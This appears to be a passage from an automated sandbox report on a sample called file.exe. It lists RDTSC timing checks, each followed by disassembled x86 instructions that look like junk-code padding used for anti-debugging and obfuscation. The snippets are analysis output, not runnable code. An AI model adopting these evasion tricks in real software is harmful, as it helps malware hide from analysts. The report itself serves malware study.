Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F53AF second address: 7F53BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F4D45034D16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5530 second address: 7F5534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5534 second address: 7F5549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4D45034D1Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5549 second address: 7F5554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4D44D05196h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5554 second address: 7F5559 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5559 second address: 7F557D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F4D44D051A9h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F557D second address: 7F5583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F588A second address: 7F5898 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5898 second address: 7F589C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F589C second address: 7F58A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF15B second address: 7CF161 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF28F second address: 7CF299 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5C3 second address: 7CF5C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5C7 second address: 7CF5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5CD second address: 7CF5D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5D3 second address: 7CF5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF5D7 second address: 613B70 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4D45034D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F4D45034D1Fh 0x00000012 nop 0x00000013 ja 00007F4D45034D22h 0x00000019 push dword ptr [ebp+122D0FF5h] 0x0000001f push edx 0x00000020 and cl, 00000042h 0x00000023 pop edi 0x00000024 jmp 00007F4D45034D1Eh 0x00000029 call dword ptr [ebp+122D23D5h] 0x0000002f pushad 0x00000030 clc 0x00000031 xor eax, eax 0x00000033 jmp 00007F4D45034D22h 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c stc 0x0000003d mov dword ptr [ebp+122D3A39h], eax 0x00000043 mov dword ptr [ebp+122D23D0h], ebx 0x00000049 mov esi, 0000003Ch 0x0000004e mov dword ptr [ebp+122D2382h], edx 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 sub dword ptr [ebp+122D23D0h], ecx 0x0000005e mov dword ptr [ebp+122D2577h], ecx 0x00000064 lodsw 0x00000066 clc 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D24D9h], edi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D24F2h], ecx 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e jne 00007F4D45034D1Ch 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF807 second address: 7CF80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF95D second address: 7CF961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE3E second address: 7CFE8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4D44D0519Bh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D31F3h] 0x00000016 mov edx, 43DAA603h 0x0000001b push 0000001Eh 0x0000001d movzx ecx, si 0x00000020 nop 0x00000021 jmp 00007F4D44D0519Dh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jne 00007F4D44D05196h 0x00000030 jmp 00007F4D44D0519Eh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE8B second address: 7CFE91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE91 second address: 7CFE95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFFEB second address: 7CFFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F4D45034D16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D00E3 second address: 7D0128 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F4D44D0519Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F4D44D0519Fh 0x0000001d mov eax, dword ptr [eax] 0x0000001f ja 00007F4D44D0519Eh 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0128 second address: 7D012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0275 second address: 7D027A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D027A second address: 7D02BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4D45034D16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov ecx, 6FF6A8ADh 0x00000013 lea eax, dword ptr [ebp+1248EF0Bh] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F4D45034D18h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov dword ptr [ebp+1248090Eh], eax 0x00000039 nop 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d push esi 0x0000003e pop esi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D02BE second address: 7AF999 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007F4D44D05196h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 jno 00007F4D44D051A8h 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F4D44D05198h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 push edi 0x00000038 and ecx, dword ptr [ebp+122D2A1Fh] 0x0000003e pop edx 0x0000003f pushad 0x00000040 mov cx, 1451h 0x00000044 stc 0x00000045 popad 0x00000046 call dword ptr [ebp+122D1BE0h] 0x0000004c jo 00007F4D44D051BDh 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF999 second address: 7AF99D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8D9 second address: 7FA8DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAA50 second address: 7FAA5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAA5C second address: 7FAA62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FABDC second address: 7FABED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F4D45034D1Ch 0x0000000b jne 00007F4D45034D16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FABED second address: 7FABF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEBA second address: 7FAEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F4D45034D1Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB030 second address: 7FB034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB034 second address: 7FB05E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4D45034D16h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F4D45034D32h 0x00000012 jmp 00007F4D45034D26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EBC0 second address: 77EBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D051A1h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F4D44D05196h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77EBE2 second address: 77EBE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80319A second address: 80319E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8038AB second address: 8038BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 jbe 00007F4D45034D16h 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8038BE second address: 8038E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F4D44D051ABh 0x0000000e jmp 00007F4D44D051A5h 0x00000013 js 00007F4D44D0519Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803C04 second address: 803C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803C08 second address: 803C0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 804189 second address: 804194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D083 second address: 77D08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808E93 second address: 808E97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808E97 second address: 808E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80914B second address: 809151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809151 second address: 809193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4D44D051A7h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F4D44D051A7h 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809943 second address: 809948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809C41 second address: 809C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809C63 second address: 809C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D45034D20h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D3D1 second address: 80D424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F4D44D051A8h 0x0000000a jmp 00007F4D44D051A5h 0x0000000f popad 0x00000010 pushad 0x00000011 push edi 0x00000012 ja 00007F4D44D05196h 0x00000018 pop edi 0x00000019 push esi 0x0000001a je 00007F4D44D05196h 0x00000020 jnc 00007F4D44D05196h 0x00000026 pop esi 0x00000027 pushad 0x00000028 jp 00007F4D44D05196h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D424 second address: 80D42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81054B second address: 810559 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4D44D05198h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8132B9 second address: 8132C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8132C0 second address: 8132DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4D44D0519Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8132DD second address: 8132E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816E72 second address: 816E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816E7B second address: 816E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816E82 second address: 816E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4D44D05196h 0x0000000a jp 00007F4D44D05196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81687C second address: 816886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816886 second address: 81689F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D051A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81689F second address: 8168B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E9A3 second address: 81E9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D5C7 second address: 81D5CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D5CB second address: 81D5FA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4D44D05196h 0x00000008 jmp 00007F4D44D051A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F4D44D0519Ch 0x00000014 pop ecx 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DA3E second address: 81DA48 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4D45034D22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81DD9B second address: 81DDBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4D44D051A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E70F second address: 81E715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E715 second address: 81E71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822640 second address: 82265F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4D45034D27h 0x00000008 jmp 00007F4D45034D21h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82265F second address: 822663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821CB4 second address: 821CDE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4D45034D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d jl 00007F4D45034D16h 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F4D45034D20h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821E25 second address: 821E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F4D44D05196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821E35 second address: 821E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82222E second address: 82223A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827A35 second address: 827A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827A3B second address: 827A45 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82846A second address: 828489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4D45034D29h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828F0F second address: 828F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4D44D051C7h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007F4D44D051A0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829215 second address: 829219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829523 second address: 82952D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4D44D05196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82952D second address: 82953D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4D45034D22h 0x00000008 jl 00007F4D45034D16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82953D second address: 829545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B85 second address: 831B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831E2F second address: 831E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D0519Fh 0x00000009 popad 0x0000000a jmp 00007F4D44D0519Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F4D44D0519Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831E62 second address: 831E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831E68 second address: 831E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F4D44D051A4h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F4D44D051A4h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83253D second address: 832547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
